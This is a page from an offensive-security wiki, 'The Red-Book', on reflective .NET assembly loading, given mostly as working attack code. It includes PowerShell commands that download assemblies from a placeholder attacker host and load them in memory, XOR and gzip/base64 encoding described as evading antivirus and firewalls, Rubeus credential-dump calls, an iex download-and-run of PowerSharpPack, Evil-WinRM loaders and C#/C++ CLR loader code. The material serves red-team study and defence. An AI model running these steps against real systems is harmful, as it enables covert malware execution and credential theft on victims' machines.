Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • Powershell
  • C#
  • C/C++
  • Tools
  • Resources

Was this helpful?

Edit on GitHub
  1. Red-Teaming
  2. Execution
  3. Code & Process Injection

Loading .NET Reflective Assembly

MITRE ATT&CK™ Reflective Code Loading - Technique T1620

Last updated 6 months ago

Was this helpful?

Theory

We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.

Practice

Powershell

We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]

When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.

We can find lot of C# offensive tools on the Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))

We can now call its methods

[Rubeus.Program]::Main("dump /user:administrator".Split())

To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:

XOR the Binary using the following python code

xor_encrypt.py
def xor_encrypt(data, key):
    decrypted_data = bytearray()
    key_length = len(key)
    for i, byte in enumerate(data):
        decrypted_byte = byte ^ ord(key[i % key_length])
        decrypted_data.append(decrypted_byte)
    return bytes(decrypted_data)

def main():
    input_file_path = "evil.exe"  # Replace this with the path to your input file
    output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
    xor_key = "MySuperSecretKey"  # Replace "XOR_KEY" with your actual XOR key

    with open(input_file_path, "rb") as input_file:
        binary_data = input_file.read()

    decrypted_data = xor_encrypt(binary_data, xor_key)

    with open(output_file_path, "wb") as output_file:
        output_file.write(decrypted_data)

if __name__ == "__main__":
    main()
$ python3 xor_encrypt.py

On the Windows Tartget, decrypt and load the .NET assembly

#Create WebClient object, set a custom User-Agent, configure default proxy & credentials if any
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials

#Download the assembly
$k="MySuperSecretKey";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("http://<ATTACKING_IP>/evil.enc.exe")))|%{$_-bxor$k[$i++%$k.length]}

#Load it
[System.Reflection.Assembly]::Load($b) | Out-Null

Now, we can call methods from this assembly

#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters) 

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())

To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:

Use the following powershell script to encode and compress the .NET assembly (change the binary path)

CompressEncodeAssembly.ps1
$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
.\CompressEncodeAssembly.ps1

On the target, we can decode, decompress and load the assembly

#Download it
$data= New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String((iwr "http://<ATTACKING_IP>/b64.txt" -UseBasicParsing).Content))
#Or
#Get it from a string
$data = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("<Base64 here>"))

#Decompress
$decompressed = New-Object System.IO.Compression.GZipStream($data, [System.IO.Compression.CompressionMode]::Decompress)
$out= New-Object System.IO.MemoryStream;
$decompressed.CopyTo($out)
[byte[]]$byteOutArray = $out.ToArray()

#Load it
[System.Reflection.Assembly]::Load($byteOutArray)

Now, we can call methods from this assembly

#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters)

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())

We can build our own DLL in C# and reflectively load it with Powershell.

evil.cs
using System;
using System.Diagnostics;

//This function just spawn calc.exe
namespace Do
{
    public class The
    {
        public static void thing()
		{

		    Process p = new Process();
			p.StartInfo.FileName = "calc.exe";
			p.Start();	
		}
    }
}

Compile the csharp code from our Linux host into a DLL

$ mcs -t:library evil.cs

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/evil.dll")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\evil.dll"))

Call methods

PS> [Do.The]::thing()

C#

We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.

Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssembly(fileBytes, fileArgs);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            // Load the assembly
            Assembly assembly = Assembly.Load(assemblyBytes);
            // Find the Entrypoint or "Main" method
            MethodInfo method = assembly.EntryPoint;
            // Get the parameters
            object[] parameters = new[] { param };
            // Invoke the method with its parameters
            object execute = method.Invoke(null, parameters);
        }
    }
}

Compile it, and execute it

PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!

Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.LoadFile() method

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            string filePath = "C:\\Tools\\JustACommandWithArgs.exe";

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssemblyLoadFile(filePath, fileArgs);
        }

        // Load and execute assembly from path
        //   - Accept only local file path
        public static void ExecuteAssemblyLoadFile(string assemblyPath, string[] param)
        {
            Console.WriteLine("[*] Using Assembly.LoadFile:");

            try
            {
                // Load the assembly
                Assembly assembly = Assembly.LoadFile(assemblyPath);
                // Find the Entrypoint or "Main" method
                MethodInfo method = assembly.EntryPoint;
                // Get the parameters
                object[] parameters = new[] { param };
                // Invoke the method with its parameters
                object execute = method.Invoke(null, parameters);
            } 
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }
    }
}

Compile it, and execute it

PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!

Here is a little example of calling SharpSploit assembly (dll) in C# using the Assembly.Load() method

The following code use the SharpSploit.Credentials.Tokens class, create an instance using the constructor, and the call its WhoAmI method

SharpSploitWhoami.cs
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Credentials.Tokens");

            // Find the WhoAmi method - Note that definition must be the same as in the dll
            var methodInfo = t.GetMethod("WhoAmI", new Type[] { });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Define parameters for class constructor
            object[] constructorParameters = new object[1];
            constructorParameters[0] = true; // First parameter.

            //Create instance of Tokens class
            var o = Activator.CreateInstance(t, constructorParameters);

            //Invoke method
            var r = methodInfo.Invoke(o,null);
            Console.WriteLine(r);
            //OR
            //Specify parameters for the method we will be invoking
            //object[] parameters = new object[2];
            //parameters[0] = 124;            // First parameter
            //parameters[1] = "Some text.";   // Second parameter
            //Invoke method with parameters
            //var r = methodInfo.Invoke(o,parameters);
        }
    }
}

Compile it, and execute it

PS> SharpSploitWhoami.exe
DESKTOP1\Pwned

Here is a little example of calling SharpSploit assembly (dll) in C# using the Assembly.Load() method

The following code use the SharpSploit.Enumeration.Registry class to call its GetRegistryKey static method

SharpSploitRegQuery.cs
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Enumeration.Registry");

            // Find the GetRegistryKey method (public static string GetRegistryKey(string RegHiveKey, string RegValue))
            var methodInfo = t.GetMethod("GetRegistryKey", new Type[] { typeof(string) });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Specify parameters for the method we will be invoking
            object[] parameters = new object[1];
            parameters[0] = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";   // Second parameter

            var r = methodInfo.Invoke("", parameters);
            Console.WriteLine(r);
        }
    }
}

Compile it, and execute it

PS> SharpSploitRegQuery.exe
Values:
  Name:
  Kind: String
  Value: mnmsrvc

  Name: ComputerName
  Kind: String
  Value: DESKTOP-LKH0G0S

C/C++

It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.

Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.

At a high level, it works as follows:

  1. ICLRRuntimeHost->Start is used to initialize the CLR into the current process

  2. ICLRRuntimeHost->ExecuteInDefaultAppDomain is used to load the C# .NET assembly and call a particular method with an optionally provided argument

  • managed.cs is a C# program that is loaded by the unmanaged process.

  • unmanaged.cpp is a C++ program that loads a C# assembly (managed.exe). It invoks via ExecuteInDefaultAppDomain the spotlessMethod method from the C# assembly

unmanaged.cpp
// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}

Compile it and execute it

PS > unmanaged.exe
Hi from CLR
CLR executed successfully

Here is the managed.cs code:

managed.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}

Tools

If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.

Dll-Loader

We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.

#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll

#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll

#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll

#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()

Invoke-Binary

We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.

#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
#Download PowerSharpPack
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')

#Choose your tool
PowerSharpPack -seatbelt -Command "AMSIProviders"

Resources

CLRCreateInstance is used to retrieve an interface

ICLRMetaHost->GetRuntime is used to retrieve interface for a specified CLR version

ICLRRuntimeInfo->GetInterface is used to load the CLR into the current process and retrieve an interface

provide many usefull offensive CSharp Projects wraped into Powershell for easy usage. It use the mentioned gzip+base64 encode methods to load .NET assembly in memory.

SharpCollection
ICLRMetaHost
ICLRRuntimeInfo
ICLRRuntimeHost
PowerSharpPack
Logo.NET Reflective AssemblyPentester's Promiscuous Notebook
LogoC# reflection - load assembly and invoke a method if it existsStack Overflow
LogoExecuting C# Assembly in Memory Using Assembly.Load()KING SABRI's blog
LogoInjecting .NET Assembly to an Unmanaged ProcessRed Team Notes